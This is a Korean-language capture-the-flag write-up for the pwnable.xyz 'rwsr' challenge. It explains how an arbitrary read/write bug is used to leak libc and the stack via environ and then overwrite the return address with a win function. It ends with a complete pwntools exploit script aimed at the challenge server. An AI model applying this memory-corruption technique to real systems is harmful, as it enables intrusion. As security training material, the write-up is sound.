[pwnable.xyz]rwsr

Full RELRO, Canary, NX 보호기법이 적용되어있다.

[*] '/vagrant/ctfs/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

원하는 주소의 값을 읽을 수 있고 그 해당 주소에 값을 쓸 수 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char *s; // ST10_8
  char *v6; // ST10_8

  setup();
  puts("Read Write Sleep Repeat.");
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_ulong();
        if ( v3 != 1 )
          break;
        printf("Addr: ", argv);                 // read
        s = read_ulong();
        puts(s);
      }
      if ( v3 != 2 )                            // write
        break;
      printf("Addr: ", argv);
      v6 = read_ulong();
      printf("Value: ");
      *v6 = read_ulong();
    }
  }
  while ( v3 );
  return 0;
}

write라 got 덮을라 했는데 Full RELRO여서 return address를 write하는 방법을 생각했다.

environ을 이용해서 stack leak을 해주면 된다. 우선 원하는 주소의 값을 알 수 있으니까 puts@got를 read하면 실제 주소가 나올거고 립씨 베이스도 구할 수 있다.

environ을 이용해서 stack 릭하는 방법은 libc_base + libc.symbols['environ'] 을 leak하면 stack 주소를 구할 수 있다.

그리고 리턴 주소를 구해야하는데 우선 rbp+8이 리턴주소니까 rbp와 leak한 stack주소의 오프셋을 구해줘서 + 8 해주면 된다.

이후에 2번 메뉴 Write로 return address에 win함수 주소를 넣고 exit해주면 win으로 리턴된다.

environ을 이용해서 stack leak하기 위해서 필요한 것은 립씨 베이스를 알아야하고 environ을 leak할 수 있어야한다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
# libc = e.libc
p = remote('svc.pwnable.xyz',30019)
libc = ELF('alpine-libc-2.28.so')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']
main = e.symbols['main']

sla('>','1')
sa(':',str(e.got['puts']))
puts = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info('puts : {}'.format(hex(puts)))
libc_base = puts - libc.symbols['puts']
log.info('libc_base : {}'.format(hex(libc_base)))
environ_ptr = libc_base + libc.symbols['environ'] 
log.info('environ_ptr : {}'.format(hex(environ_ptr)))

sla('>','1')
sa(':',str(environ_ptr))
environ = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info('environ : {}'.format(hex(environ)))
# environ - rbp = 248
rbp = environ - 248
log.info('rbp : {}'.format(hex(rbp)))
return_add = rbp + 8
log.info('return : {}'.format(hex(return_add)))

sla('>','2')
sa(':',str(return_add))
sa(':',str(win))

sla('>','0')

p.interactive()